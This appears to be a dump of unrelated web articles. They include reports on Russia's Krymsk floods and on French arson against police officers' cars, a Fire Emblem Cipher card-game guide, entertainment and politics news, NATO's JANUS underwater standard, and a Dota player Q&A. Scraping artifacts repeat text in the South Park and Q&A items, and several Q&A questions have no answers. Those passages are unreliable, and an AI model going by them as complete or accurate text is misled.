-After Russia's worst floods in recent memory swept through the south of the country, thousands of people were last night sleeping in emergency shelters or the ruins of their homes, as anger against the regime of Vladimir Putin grew for failing to give warning of the disaster.  More than 150 people, many of them elderly, died in the floods, after authorities failed to issue warnings or evacuation orders.  The town of Krymsk, home to around 57,000 people, was worst hit, with residents describing how a five-metre (16ft) wave swept through homes in the middle of the night, turning the town into a mudbath. Unlike the dozens of other tragedies that hit Russia every year – from aeroplane crashes to uncontrollable forest fires – anger with Putin's regime was immediate and widespread.  Residents said that even though officials admitted they knew a dangerous flood was coming, they had issued no warning or evacuation order.  "If we had been warned, people could have been saved," said Irina Loskutova, 50, standing in a muddy square near the central market, hoping to gather clothes and food as the city settled into a third night with no electricity. "They knew and they didn't tell us."  Map of Russia's Krasnodar region Photograph: Graphic  According to officials, heavy rains that hit Krymsk and other towns in Russia's Krasnodar region overnight on Friday sent a torrential flood through the city. Residents tell another story: the water came in such volume and at such speed that they are convinced officials purposefully let open the gates on a nearby reservoir, choosing to send its water through Krymsk's winding roads in order to spare Novorossiysk, a nearby port that is the country's largest and whose main harbour facility is owned by allies of Putin. Alexander Tkachev, governor of the Krasnodar region, said during a meeting with locals on Sunday that the first warnings of flooding came in around 10pm on Friday night – four hours before the waters hit. Residents say they were given no warning.  "No one told us anything," said one woman standing at the city administration building, who asked not to be named. "Our officials say the dam had nothing to do with it, but everyone here knows otherwise."  A spokesman for the prosecutor general's investigative committee said the reservoir was not involved in the intense flooding. Local prosecutors earlier admitted the gates had been opened, but it was too early to say if that caused the flooding. Nearby towns were untouched.  As the town's morgues began to fill, refrigerated trucks were parked on the streets outside a nearby hospital to contain the bodies of the dead. Residents are convinced the final toll will reach into many hundreds.  "We'll know how many it really is when the funerals start," said Volodya Lugovoi, 58, sitting on a porch by the city's main stadium, now a vast pool whose pitch is dotted with floating cars.  Handwritten lists of those who had registered as survivors hung outside the municipal youth centre. "I need to find my son's girlfriend," said one man. "He's in the army. No one can find her."  The tragedy has highlighted increasing dissatisfaction with Putin's regime, and growing mistrust of official media as internet use grows. Photos and videos taken on mobile phones revealing the scale of the flood damage spread at lightning speed on social networks throughout the weekend. On Saturday night, state TV news showed Putin flying over the damaged area earlier in the day, but no mention was made of the suffering of flood victims or the anger on the ground.  Putin has ordered officials to investigate whether enough was done to warn people about the floods. But in the absence of a large-scale relief operation, opposition activists – many of whom have been protesting against Putin since he announced his intention to run for re-election – have launched their own efforts to send relief.  "We heard one thing on TV and then saw another on Twitter so we decided to come see for ourselves," said Viktor Chirikov, a volunteer from Novorossiysk.  "The administration here won't help us at all," said Alexey Mandrigelya, 22, another activist.  The emergencies ministry has set up a makeshift camp for some of those who lost their homes in the floods, and local army units are contributing to the effort to hand out water and clothes.  But on the muddy streets of Krymsk, there were no police or government relief workers to be seen.  Many of the dead were elderly. Loskutova described how she saved her 76-year-old mother: "I was screaming, 'Mama mama!' The water came in so fast and hard, we could barely break through the windows. I prayed and screamed for her not to let go."  The two women climbed on top of furniture where they stood until the water almost reached the ceiling, then finally they climbed through broken windows and on to the roof, she said.  "Then I sat with her, wet and naked, for 12 hours on the roof." No emergencies officials came, Loskutova said, and eventually her son arrived with a boat and ferried them to a hospital. "Are we not people?" she asked.  For years, Putin was seen by many as the country's saviour. Now, 12 years after first coming to power, he is increasingly seen as someone overseeing a system that fails to protect its own citizens.  A 39-year old woman who identified herself only as Natalia said she managed to save her six children, her identification papers, and nothing else. "The kids ask me: where will we live? I have no idea what to say. We have no home," she said.  Natalia's house was damaged in the city's last big flood 10 years ago, which residents say was mild compared with the one that struck the region this weekend. "[Officials] told me then they would help me rebuild – I fought for 10 years and got nothing. I went into debt to restart my life. Whatever they say now, I don't believe them – I will never believe them," she said.
-From EmblemWiki  When it released alongside Fire Emblem Fates in June of 2015, Fire Emblem Cipher was a treat to FE fans new and old. A new trading card game based on a fun and popular series, it capitalized on the popularity of newly released games but also served as a throwback to older characters and the nostalgia of the original Fire Emblem TCG game. However, since the majority of the Cipher information available is only in Japanese, many Fire Emblem fans are just now still discovering this fun card game. After answering many questions from prospective collectors and players over the past several months, I thought it would be a good idea to put together this Newcomers Guide as a reference guide for new and potential fans.  Want to learn more about Fire Emblem Cipher? Read on below for some basic information about Cipher cards, where to get them, how to play the game, and more. This guide was written and maintained by Kirie of the SerenesForest forums.  Fire Emblem Cipher - Card Basics  Whether you're a player or a collector, obtaining cards is the main place to start your Cipher journey. The majority of the available cards are from the Booster Sets, but there are also Structure Deck cards and Promotional cards. The most common cards can be found rather easily, but some cards can be rare or difficult to obtain.  To the delight of many fans, Cipher cards feature characters from many Fire Emblem games throughout the series. Series 1 started off with the Dark Dragon and Sword of Light and Awakening , and since then, we've also seen cards from a number of other Fire Emblem games and worlds, even the spin-off Tokyo Mirage Sessions #FE. Future releases have been confirmed to feature even more games and continents, so chances are that your favourite character will get their own card at some point, if they haven't already.  The different Fire Emblem games are represented with various colours. Characters from Marth's games are given the colour red and their cards have a red border and other highlights. Characters from Awakening get blue cards, while the Tellius characters are green, Elibe's are purple, and Jugdral's are orange-gold. Fates characters are actually split into 2 colours depending on where their loyalities lie; Nohr characters are black-bordered while Hoshido characters are white. Colours for Valencia and Magvel have not yet been revealed, but will likely be seen in upcoming sets as the game progresses.  Booster Series  This is where you'll find most of the available Cipher cards. Each Series is based off a number of Fire Emblem games and contains approximately 100 cards in total split between the various available colours. Each Booster Series contains at least 2 colours to allow for some variation.  Booster Series cards come in a total of 6 rarities. N (Normal) cards are the most common, with HN (High Normal) cards being slightly rarer. R (Rare) cards are, as their name implies, rarer than N or HN cards. They are also printed on holofoil paper to give them a shiny appearance. Even rarer than R cards are SR (Super Rare) cards. These cards are holo as well, but they also have a slight grooved texture to them that makes the cards both look and feel extra fancy. Some secret cards in a given booster series are marked with a special X on top of their regular rarity.  Some R and SR cards also have special variants. These cards are R+ and SR+ cards. Although R+/SR+ cards are mostly the same as their non-plus versions, they have a metallic gold or silver border around the edge, and some even half a special foil signature of the character's voice actor! These cards are some of the most expensive and sought after Cipher cards by players and collectors alike. Starting with Series 5, R+ and SR+ cards used alternate art from the regular version of the card, making these cards stand out even more.  Booster Series cards are most often purchased as a booster box. A booster box of Cipher cards contains 16 packs, and each individual pack has 10 cards. 6 of those cards will be Ns, 3 will be HNs, and 1 will be an R or SR. Each box contains 11 Rs, 4 SRs, and 1 R+/SR+ card, so the rate of pulling an SR card is approximately 1:4 packs. SR+ cards are found in approximately 1 in 4 boxes.  In addition to the cards, booster boxes also include some extra gifts. Each box contains 1 of 2 preview promotional cards of the main characters from the games featured in the next series. Ever since Series 2, they have also included a pack of 5 unique card sleeves that are only available in these booster boxes. Series 5 and 6 also contain special anniversary reprint promos with a special stamp, though it's unknown if this is temporary or will continue in future sets.  Structured Decks  Each Booster Series is accompanied by at least 1 Structured (or ST) Deck. Each ST Deck contains a set number of cards that fit a given theme. Some of the cards in a ST Deck will also be available in the matching Booster Series, but there are also a few cards included that are exclusive to the deck. ST decks also contain some holo cards that are not available in the Booster Series, including some holo variants of N or HN cards.  ST Decks also come with some good tools for beginning players, such as a playmat, instruction booklet, and a marker card to designate your deck's main character. Like the booster boxes, they also sometimes contain little gifts, though the digital goodies can only be redeemed with a Japanese 3DS.  Promotional Cards  Like many other TCG games, Cipher also has a number of promotional cards that are available to fans for a limited time. Sometimes these promo cards are the same as Booster Series cards but with alternate artwork, sometimes the cards are completely new and only available as part of a particular promotion.  The most plentiful of Cipher promo cards are those available from tournaments in Japan. There have been 6 tournament promo cards released for each series so far, a combination of new artwork and new cards. Players in Japan receive these cards as a gift for participating in Cipher tournaments. However, there are a lot of Cipher cards that come from different and interesting sources. Sometimes promo cards are included as freebies in Japanese magazines (such as Nintendo Dream), or included in other merchandise. For example, a special promotional Tsubasa card was included in Japanese copies of TMS #FE.  For a full list of currently available promotional cards, check out the Promo Cards page, and make sure to keep an eye on the main Serenes Forest page for details of new promo cards as they're announced.  Playing the Cipher Game  While there are some people who only want to collect the cards and look at their pretty artwork, Cipher also has a very large following of fans, both in Japan and internationally, who enjoy playing the game, both competitively and just for fun. Thanks to the internet and a large number of people willing to scan and translate cards, it's possible to learn the rules and play the game, even if you don't know any Japanese.  The Cipher card game is similar to other Trading Card Games that you may be familiar with, such as Pokémon or Magic: the Gathering. Players obtain cards and build a deck that is used to battle against another player's deck. You can choose to build a deck around your favourite characters and work from there, or study the different card effects to create a more powerful strategy.  Since Cipher is a game based off of Fire Emblem, many elements of the game will be familiar to people who are a fan of the video games. For example, each deck has a "Main Character" that is similar to a Lord in the video games. Common mechanics from Fire Emblem games are also present within the game's mechanics, such as class changing and promotion.  A comprehensive explanation of the Cipher game's rules can be read on the Serenes Forest Wiki. If you have any questions about the rules or specific card interactions, we have a thread in the Cipher subforum where other players can offer advice or ruling information.  If you're interested in playing the game but don't have anyone nearby you to play, or money to import the cards you need for a deck, you may be interested in checking out our LackeyCCG group. LackeyCCG is a free program that allows people to play various card games online, and a group of members has put together a plugin for Cipher cards. the cards in the program already have their text translated into English, so there's no need to reference translations while playing. There's also a corresponding Skype group dedicated to finding other players and setting up matches online.  Cipher Merchandise and Events  Since its release, Cipher has also inspired some related merchandise, available online or via special events held in Japan. The most common are special Cipher card sleeves that feature artwork of popular characters from various sets. Four different sets of sleeves are released alongside each series, with each pack containing 65 sleeves. They are perfect for storing and protecting Cipher cards, and they can also be used for other TCGs that use the same size cards, such as Pokémon or Magic: the Gathering.  Starting with Comiket89 in December of 2015, Cipher also started to release some additional limited-time merchandise such as playmats, badges, and artbooks featuring Cipher artwork. There were also Players Boxes that featured an assortment of merchandise together in one nice storage box. After the huge success of Comiket, Cipher repeated the process again with the Cipher Sai events of early 2016. Much of the earlier Comiket merchandise was rereleased along with some new products and styles.  The newest Cipher events are the currently on-going Cipher Caravan events traveling around Japan in celebration of the game's 1st anniversary. The Caravan events have another assortment of merchandise, including some new items such as a card binder and tote bag, and also have other events available, such as tournaments and a concert featuring FE music.  Cipher merchandise has proved to be very popular and a quick seller, so it's likely that we will see more merchandise released at similar events in the future.  Where to Buy?  Although Cipher cards and merchandise are only produced and sold in Japan, it's a relatively simple matter to obtain cards online, both sealed products and singles.  AmiAmi is the most popular source for people around the world to import sealed Cipher products. They sell booster boxes and ST decks, as well as some merchandise, such as sleeves featuring Cipher artwork and the various Guidebooks. The prices are less than MSRP and shipping costs are reasonable.  If you're looking for singles or promo cards, one of the best ways to obtain these cards is directly from other Cipher collectors. We have a thread here on Serenes Forest dedicated to trading, buying, and selling cards, complete with a reputation system. Trading with or buying from collectors cuts out the middleman for better prices, and also helps keep the Cipher community active and flourishing.  There are also a few Japanese retail and auction sites that sell single Cipher cards and limited-time merchandise, such as Amenity Dream and Yahoo!Japan, though the majority of those only ship within Japan. However, there are many middleman services available for purchasing from these sites. If you'd like more information about some of these services, check out this thread on the forums.  Some international sites also sell Cipher cards. TCG Republic is a popular singles reseller and there are even some sellers on the Amazon that carry booster boxes and decks. However, the prices of these products are generally higher than buying from Japan, sometimes significantly, so it's good to do your research before purchasing. The same applies to international auction sites like eBay.  Other Card Resources  If you'd like to learn more about Fire Emblem Cipher, there are a number of resources online that provided detailed information about the cards and the game.  The official Fire Emblem Cipher website - Although it's only offered in Japanese, the official Cipher site is updated frequently with new information about products and events.  Serenes Forest Cipher Subforum - Located right here at Serenes Forest, the Cipher Subforum is frequently updated with the newest information and offers lots of discussion on a wide variety of subjects such as card speculation, deck strategies, card trading, and more. Come check us out and say hi!  Serenes Forest Cipher Wiki - Lovingly maintained by forum user TheVinceKnight and a team of dedicated wiki editors, the Serenes Forest Wiki has a whole large section dedicated to Cipher. You'll find translations of revealed cards, high quality scans, card lists, promotional information, and more.  Questions & Feedback  This Newcomers Guide is a work in progress and I plan to continue updating it with new information as the game grows. After all, Cipher is less than a year old, and there plenty of exciting new changes and additions on the horizon.  If you have any suggestions for material to be added, you are welcome to contact me on the SF forums. If you have any questions about Cipher that have not been answered here, feel free to come ask us in the Cipher Subforum.
-On Tuesday night, after months of political heartburn, things finally started cutting Hillary Rodham Clinton’s way.  Her performance at the first Democratic presidential debate was so commanding that even her greatest vulnerability — the lingering controversy over her private email practices as secretary of state — ended up redounding to her benefit.  After she crisply explained that she made a “mistake” using a private email server and defended her judgment, the moderator, Anderson Cooper of CNN, turned to her biggest threat in the primary campaign so far, Senator Bernie Sanders of Vermont, in hopes that he would attack her. Mr. Sanders instead came to her aid.  “Let me say something that may not be great politics, but I think the secretary is right — and that is that the American people are sick and tired of hearing about your damn emails,” Mr. Sanders said to cheers and a standing ovation from the Democratic audience.
-On October 26th several vehicles belonging to police officers were set on fire in the French commune of Meylan and now a radical leftist anarcho-feminist group has claimed responsibility saying it is “revenge” for “sexism.”  The group released a statement this week saying that they purposely set the vehicles on fire and made sure to “make a joke to the firemen” by sealing off the entrance to the police car park so they would not be able to deal with the blaze. Around 10 litres of petrol was used to ignite the vehicles which were totally destroyed L’Express reports.  “We do not want to stay in the position of victims in which society would like to place us by recognizing us as girls,” the group said.  The letter explained that the group targetted the personal property of the officers rather than their police cars because they wanted to, “attack the individuals who wear the uniforms, rather than their function,” as police.  The fire ultimately destroyed four cars and a motorcycle and the uncontrolled fire blackened a nearby residential building, though the fire did not spread to it.  Jean-Yves Coquillat, the public prosecutor in Grenoble, commented on the incident saying it was, “not far from a tragedy,” and said he found it worrying that the individual police officers were targetted by the group. He added that the incident was just the latest of a series of similar incidents that have occurred this year in the area.  PICS: Leftist Torch German Police Vehicles in Hamburg Anti-G20 Protest https://t.co/hMSrf64mNB — Breitbart London (@BreitbartLondon) March 28, 2017  Left-extremist violence is on the rise across Europe and is often directed toward law enforcement. The largest example of leftist violence was the Hamburg G20 in which left-extremist Antifa members destroyed property, looted shops and injured hundreds of police in rioting that lasted for several days.  Right-wing supporters and politicians have also been repeated targets of alt-left violence as well. Recently a social house project of the hipster-right Identitarian youth movement was targetted by left-extremists who threw a hundred bricks at the building, drilled a hole in the door and sprayed butyric acid in the building.  The alt-left have even called for violence toward mainstream journalists in Canada saying that only “approved” media, those who will not show the faces behind their masks, will be allowed to film their protests.
-Everyone loves cute and cuddly video game stars like Mario and Sonic, but there are a few other more wacky characters which are less well known, but just as much fun. When it comes to creating new experiences, history has taught us that the video game makers can literally do what they like, and boy, do they take advantage of it. The result is a few titles which are just strange enough (by way of bizarre plots, characters or player engagement) to reach cult status – immortalized and revered. Here’s a list of our hall-of-famers in all their pixelated and polygonal weirdness.  10. Boogerman: A Pick and Flick Adventure (1995)  We’ll kick this list off with a bizarre 2D platformer from Interplay in the ‘90s. The titular character is a scientist on a quest to fix his broken machine by doing what he does best: combining toilet humor and iffy controls. This was a golden age for the platforming genre, so standing out in any way possible was an impressive feat. We remember it for its grossly endearing animation style both on the SNES and Genesis.  9. Katamari Damacy (2004)  Ah, Katamari. The PS2 original sleeper hit that rolled weirdly into our hearts. Part puzzler, part adventure, part nesting doll, Katamari Damacy had players controlling a tiny ball of stickiness, called a Katamari. The Katamari picks up small items like paperclips and candy, eventually increasing the ball size to pick up housecats, sumo wrestlers, ice cream trucks, buildings and so on. Who could fail to love its low-poly charm, bright colors and hilarious item placements?  8. Mr. Mosquito (2002)  Continuing with the PS2 craziness, we have the somewhat disturbing Mr. Mosquito. You play as a cute little mosquito tasked with sucking the blood from the Yamada family. Players must plot around each family member’s routine and force them to behave in the absolute creepiest way possible. Mr. Mosquito’s claim to fame? Well, if it wasn’t for the game’s lighthearted appearance, it might as well have been called “Personal Space Violation Simulator.”  7. Captain Novolin (1992)  This one’s a rare, peculiar gem designed with a single purpose: to stop kids from getting chubby. Developed by Sculptured Software, who created the equally weird Rex Ronan: Experimental Surgeon, this SNES original claims to be an “action adventure game about diabetes.” While childhood diabetes is no laughing matter, a platforming video game with abysmal controls about it is a surreal thought. This title remains an early example of what can happen when separate interests collaborate in a bizarre way to create a video game.  6. Game Boy Camera (1998)  This entry is less of a game and more of an oddity in the Game Boy’s legendary library, although it does have some game-like aspects. Originally conceived as a way for Game Boy owners to create and edit low-res photos of themselves, it also serves as music-making software with a peppering of mini-games. What made this software so bizarre were the secrets and Easter eggs therein. By performing certain sequences in the game, the player can access strange, distorted images, presumably of some of the game’s creators, along with creepy messages such as, “Who are you running from?”  5. The Legend of Zelda: Spirit Tracks (2009)  You may be saying to yourself, “Shouldn’t I be reading about Majora’s Mask over Spirit Tracks on a list of weird games?” In many ways, you’re right about Majora’s dark vibe and unorthodox approach. However, Spirit Tracks for the Nintendo DS is an entry in the Zelda series that feels like even more of a one-off. Nintendo’s Legend of Zelda series is renowned for its rich exploration in the fantasy world of Hyrule. Spirit Tracks, completely out of left field, took the classic fantasy-inspired setting and drove a train right through its wall. That’s right­—the over-arching theme of Spirit Tracks is train conducting. The game is best known as the Zelda that let players shoot pigs with a cannon from a golden train.  4. Octodad: Dadliest Catch (2014)  Octodad is a fairly newer indie PC fatherhood/sea life simulator. If that doesn’t do it for you, I can’t imagine what would. Players run the course of the entire game as a boneless octopus in a suit, much to the obliviousness of your human wife and children. The physics are hilarious as you bumble through standard atomic dad activities, such as attempting to barbecue and knocking the grill and burgers all over the patio, or taking the kids to the aquarium while desperately attempting to appear like you aren’t one of its exhibits.  3. Seaman (2000)  Sega’s Dreamcast was a lot of things. A quiet failure to some, but a brilliant flash in the pan to others. The small-but-colorful game library sported by the Dreamcast includes the completely weird, interactive digital pet, Seaman. It used the ill-fated Dreamcast microphone accessory that mounted onto the controller to accept audio input. The man-faced fish on screen was receptive of various forms of communications, but many players just weren’t comfortable with his overall uncanniness. The only thing weirder than Seaman was a special Japanese import called Christmas Seaman.  Yes, that also happened.  2. WarioWare, Inc. (2003)  One of Nintendo’s most odd anti-heroes, Wario, has had a range of his own games in which he is featured, but none are as oddly fun as the mini-game fest known as WarioWare, Inc. The game is a collection of micro-games, usually lasting a matter of seconds, which barely gives you time to even understand what you’re looking at. The tiny scenarios come at the player so quickly that the entertainment always feels blissfully otherworldly. This game put the concept of high-speed micro-games on the map. How fast can you get a finger into a nose?  1. EarthBound /Mother 2 (1995)  Some might call EarthBound (known as Mother 2 in Japan) the crown jewel of the SNES. It also happens to be one of the most outlandishly memorable and heartfelt experiences available on the platform. What’s NOT to remember about EarthBound? The game serves as a caricature of modern society, and its rabid cult following can cite any of its unforgettable quotes and humorous situations. Packed with social commentary, the RPG deals with friendship, enjoying life’s small pleasures, loss and independence. It also deals with applying ketchup to a hamburger in the middle of a battle with a hippy. Many modern games draw heavy inspiration from this one’s quirkiness.  Conclusion  So there you have it, our round up of the craziest plots, players and ideas you’re ever likely to see in a video game this side of the Ozark Mountains. The list above represents our idea of gaming’s weirdest, but did we actually catch them all? Let us know of your own favorites in the comments below. Whatever will they think of next?  ———————————————–  Ryan Marchand is often found checking out the latest quirky indie release or enjoying the 8-bit goodness of a retro classic. He’s also a freelance video game writer for eBay, where you can find many of these bizarre games and other fun titles.
-The former "Boston Legal" star will not return for a ninth season of the still highly-rated NBC comedy.  James Spader will not be returning to The Office.  In another shake-up at NBC’s long-running comedy, the Boston Legal actor has opted not to be part of the series’ ninth season, assuming one is ordered, NBC confirmed to The Hollywood Reporter.  Spader has offered the series a dose of star power since veteran star Steve Carell (Michael Scott) exited the series. In the months since, Spader has replaced Kathy Bates’ character as the fictional company's new chief executive, Robert California.  To hear Office executive producer Paul Lieberstein tell it, Spader already has contributed far more to the series than he had planned. The actor had signed to play a two-scene role in the season-seven finale, but the “life and intrigue” that he brought to the part made two scenes become a full season.  "James always wanted this to be a one-year arc, and he now leaves us having created one of the most enigmatic and dynamic characters in television,” adds Lieberstein, who plays Toby Flenderson on the show. “He’s been a great friend to me and the show, helping us successfully transition into the post-Michael Scott years, and I’m grateful for that.”  The news of Spader's exit comes as other members of The Office's staff — on-camera and off — are toying with departure. Head writer Daniel Chun inked an overall deal with rival ABC Studios in late February, mere weeks after his fellow Office writer and star Mindy Kaling (Kelly Kapoor) had her comedy project ordered to pilot at Fox. If the latter is picked up to series, Kaling, whose Universal Television deal expires in June, is expected to depart the Office and focus on the new show.  Although sources have downplayed its likelihood in recent weeks, NBC is also said to be eyeing a potential midseason spin-off centered on Rainn Wilson’s quirky Dwight Schrute character. The idea, which Wilson has since confirmed, is to further explore the Schrute family farm, with multiple generations of Schrutes involved. If the network opts to move forward with it, Wilson, too, likely will pack his bags.  Email: Lacey.Rose@THR.com; Twitter: @LaceyVRose
-State lawmakers on Thursday rejected a proposal to reduce the charge for simple possession of heroin, cocaine and methamphetamine from a felony to a misdemeanor.  Sen. Mark Leno (D-San Francisco) said his bill would save money and result in more people getting successful drug treatment so they can re-enter society.  “No data begins to suggest that putting felonies on these mostly young people and incarcerating them for longer periods of time in any way benefits their recovery from drug use,’’ Leno told his colleagues before the measure went down on an 11-24 vote, with several Democrats in opposition.  Sen. Ted Gaines (R-Roseville) said SB 1506 would threaten public safety, agreeing with the California State Sheriffs’ Assn. that drug use leads to other problems including property crimes.  “I don’t understand how decriminalization will actually reduce crime in California,’’ Gaines said.  Sen. Doug La Malfa (R-Richvale) added: “With bills like this I can see Amsterdam from the Capitol front porch.’’  ALSO:  Senators agree to give up free tickets to games, concerts  California lawmakers vote for legalization of sports betting  California Senate supports streamlining teacher removal over crimes  --Patrick McGreevy in Sacramento  Photo: Members of the U.S. Coast Guard cutter "Resolute" offload some of the 168 bales of seized cocaine Thursday in Florida. Credit: AP Photo/Chris O'Meara.
-Boffins at NATO have managed to ratify, across the entire alliance, the first ever official standard for underwater digital communications.  “This marks the first time that a digital underwater communication protocol has been acknowledged at international level and opens the way to develop many exciting underwater communication applications,” said the alliance in a statement.  NATO’s Centre for Maritime Research and Experimentation (CMRE) had the new standard, called JANUS, ratified by all of the alliance’s 28 members in late March.  It was developed over the last eight years, with the main paper describing the standard having been published (requires registration) in the journal Underwater Communications and Networking in 2014. The specification is open and “deliberately simple to allow easy adoption by legacy equipment”. More details are available here.  JANUS is mainly focused on allowing underwater drones to communicate with mother ships and each other. "Robots can behave intelligently and act as a team," said João Alves, a principal scientist and project leader at CMRE. “For example, one of the robots could find some interesting feature and call the rest of the team.”  “This is particularly important for search-and-rescue operations,” added John Potter, a scientist at the CMRE Strategic Development Office and one of the authors of the 2014 paper. “Autonomous vehicles are relatively inexpensive and of course unmanned, so they can be sent to do dirty, dangerous jobs.”  Janus was the two-faced Roman sentry god who stood watch over doorways and portals. “That’s why it is called JANUS,” said Potter, “because this language opens the portal between two domains, two different operating paradigms, through which they can talk.”  The Portuguese Navy has been working with NATO on perfecting JANUS, particularly for data exchange with submarines. For typical data movement activities, submerged submarines can either receive very low frequency (VLF) broadcasts from shore stations (but cannot transmit without surfacing) or must surface for two-way communications with nearby ships.  NATO hopes that JANUS will be adopted by the civilian maritime industry as well as navies, as the paper makes clear. The alliance’s press statement gives use-case examples of scuba divers approaching the surface and needing to be aware of nearby ships and boats, or underwater survey drones communicating with oil rigs in real time. It also suggests the standard could be used “for harbour protection, maritime surveillance, mine detection, surveying offshore wind farms and pipelines, or even underwater archaeology.” ®
-CTV Montreal  For cyclists, car doors are a constant threat. And for the first time, Montrealers are learning how often.  Last year, 105 cyclists were hit by car doors, and two were killed in so-called "dooring" accidents, say Montreal police.  “Most accidents go unreported, so that's just a drop in a bucket,” said Geoffrey Bush of the Montreal Bike Coalition.  Several Montreal bike associations and the police have launched a "dooring" awareness campaign. The message to cyclists is to stay at least a metre away from parked cars, while they’re asking drivers to be in control of their doors.  Montreal police say that drivers should reach across their bodies with their right arm to open their doors, forcing them to look at their side-view mirrors and check their blind spots.  Motorists could face fines, $30 dollars plus fees, if they're not careful.  “So if you open (the door), even if you don't hit a cyclist, if it was (done) dangerously you could receive a ticket,” said Nathalie Valois of the Montreal police’s bike safety division.  Many U.S. cities have dedicated campaigns and implemented strict fines to reduce dooring accidents.  The penalty in Chicago, for example, is $1,000.  Cycling activists in Montreal would like higher fines but say developing safer habits is most important -- and could be the difference between life and death on the roads.
-Some players of S outh Park: The Stick of Truth won't get to see the game in its entirety—a handful of 20-second scenes are censored in the EMEA (Europe, Middle East, Africa) version of the upcoming RPG on consoles.  Warning: minor spoilers for Stick of Truth follow.  A review guide leaked by European press— Stick of Truth , which is out next week for PC/PS3/Xbox 360. A review guide leaked by European press— via NeoGAF —reveals that Ubisoft decided to replace a few mini-game scenes in the console versions ofStick of Truth, which is out next week for PC/PS3/Xbox 360.  Advertisement  Here's the relevant excerpt:  Knowing the creators of South Park , those image backgrounds will be hilarious. In the censored Australian version of the game, some scenes were replaced by images of Knowing the creators ofSouth Park, those image backgrounds will be hilarious. In the censored Australian version of the game, some scenes were replaced by images of crying koalas  Sponsored  When reached for comment by When reached for comment by Eurogamer , Ubisoft's UK office said this was a marketing decision.
-20-20: BuLba October 17th, 2013 14:32 GMT Text by CountChocula Graphics by fusefuse  TABLE OF CONTENTS  20 Questions  20 Answers  Focus Mode  Turn off Focus Mode [x]  20Q 20A: Black^  is a hometown hero here on Team Liquid. A member of Liquid Dota since its inception, BuLba is one of the most vocal North American Dota players on the scene. He loves the community and often posts on our Dota 2 forums right here on TL.  We  BuLba confirms that he will answer 20 questions from the community. BuLba confirms that he will answer 20 questions from the community.  20 Questions  Want to ask something? We'll do it for you. Just post your question in this thread. Our editors will pick the 20 best questions from this thread and BuLba will answer them, after which the answers will be slotted in below.  Ask away, TL!  20 Answers  How awesome was TI3 (and that LGD.cn game)? Could you talk a little about your experience? [Scaramanga]  The LGD game was probably one of the best moments in my life. Everything was on the line and playing versus some of the players that I respected immensely like xiao8 just made it even better. We were definitely rooting for Alliance to beat LGD in the winners’ bracket because LGD felt like they were very vulnerable to our playstyle. I was very surprised that LGD went from a team that tried different stuff out in G-1 like their Spectre strat into a team that literally picked 4 core heroes every game. We expected each and every pick from their Mag pick to their Alchemist. Even the Furion pick was not very surprising because they relied on that pick if the enemy team was going aggressive so Furion can TP in and win their trilane. We had the last pick and Clockwerk felt like the best hero versus their heroes. Clock could solo kill the furion when he was splitpushing and Clock is a decent hero versus Mag and Alch as well. Anyways the game started and everything was just an adrenaline rush. We made the right moves and the right teamfights and just won the game. The feeling after winning was quite surreal.  I'm sure you've given this much thought. What do you think went wrong in your games vs. iG at TI3? [taldarimAltar]  Another mistake was that after killing the Weaver in the trilane, we abandoned it way too early to try and gank SF. Ferrari played very passive and didn’t get ganked and wasted our supports’ time. That allowed Zhou to catch back up and in the end we didn’t snowball our aggressive trilane, which we could have done considering the First Blood. I definitely think if we had more experience in the mid game, we could have done better but their lineup was very good versus ours. Nyx would own the OD later on and Batrider would just lasso me in fights. We had nothing to really go through BKB as well besides the Abyssal Blade. I also probably had to farm more in a spectator’s point of view but their Batrider and Nyx were never showing on the map. It was quite difficult to farm past the river unless we were together because they could pick us off any time. The main problems were that:  A. we broke our trilane way too early. This let Weaver catch up and the N’aix (me) start as a trilane N’aix and then end up as an offlane N’aix soloing versus a Weaver and a Nyx manaburning me. My Phase Boots timing was at like 3 minutes, but I ended up with a late Armlet because I had to solo a Weaver+1. I also should have probably gotten an Assault Cuirass over finishing the Abyssal because Shadow Fiend and Weaver just owned me in fights due to SF aura+Weaver deso.  B. we were too predictable in our laning and iG exploited that.  C. we had nothing to go through BKB. iG could literally just countergank and splitpush us with Keeper and we could not respond efficiently. Batrider and Nyx could pick any of us off and we had no choice but to stick together. Weaver+SF+Bat+Nyx would own our heroes mid to late game. I mention this in an interview I did with Epi , but I felt we were a bit too happy after beating LGD. I think it is because this was our first big LAN win on a stage as big as TI3. Our style at the time was also very predictable. We literally ran aggressive trilanes every game to suppress their carry’s farm and had strong solos. Honestly this was our playstyle the entire year and it fit our team well. Anyways, iG knew this and knew straight from the start that we were going aggressive. They took a Keeper very early because Keeper is quite strong versus aggressives and they also picked a Shadow Fiend. Our goal was to suppress the enemy carry but their carry was actually the Shadow fiend mid which just abused Radiant mid and outfarmed us. They also had a Batrider which owned us quite hard because we always had to stick together. They could endlessly splitpush us while we had to stick together in clumps due to the enemy Batrider and Nyx.Another mistake was that after killing the Weaver in the trilane, we abandoned it way too early to try and gank SF. Ferrari played very passive and didn’t get ganked and wasted our supports’ time. That allowed Zhou to catch back up and in the end we didn’t snowball our aggressive trilane, which we could have done considering the First Blood. I definitely think if we had more experience in the mid game, we could have done better but their lineup was very good versus ours. Nyx would own the OD later on and Batrider would just lasso me in fights. We had nothing to really go through BKB as well besides the Abyssal Blade. I also probably had to farm more in a spectator’s point of view but their Batrider and Nyx were never showing on the map. It was quite difficult to farm past the river unless we were together because they could pick us off any time. The main problems were that:A. we broke our trilane way too early. This let Weaver catch up and the N’aix (me) start as a trilane N’aix and then end up as an offlane N’aix soloing versus a Weaver and a Nyx manaburning me. My Phase Boots timing was at like 3 minutes, but I ended up with a late Armlet because I had to solo a Weaver+1. I also should have probably gotten an Assault Cuirass over finishing the Abyssal because Shadow Fiend and Weaver just owned me in fights due to SF aura+Weaver deso.B. we were too predictable in our laning and iG exploited that.C. we had nothing to go through BKB. iG could literally just countergank and splitpush us with Keeper and we could not respond efficiently. Batrider and Nyx could pick any of us off and we had no choice but to stick together. Weaver+SF+Bat+Nyx would own our heroes mid to late game.  Can you please give us a "table of contents" or a "chapter" of your team's drafting guides and notebooks, which you guys posted pictures of on Twitter in anticipation for TI3? [rkffhk]  One of the chapters was hero statistics and win-rate losses. The rest is secret :D  What are some little-known interesting facts that teammates have shared in your time together or personality quirks that your fellow teammates frequently display during Dota 2 games? What is best practical joke that has ever taken place among Liquid players? [TanGeng]  There are two Tinker players on the new Liquid. When do I get to see some Tinker games? [bigglesbiggles]  In terms of results the NA Dota scene seems far behind the Chinese and European ones. Why do you think this is and what do you reckon needs to be done to help the NA scene catch up? [Mouzone]  Do you feel that Elder Titan needs some changes? Will we ever get to see you play him in competitive? 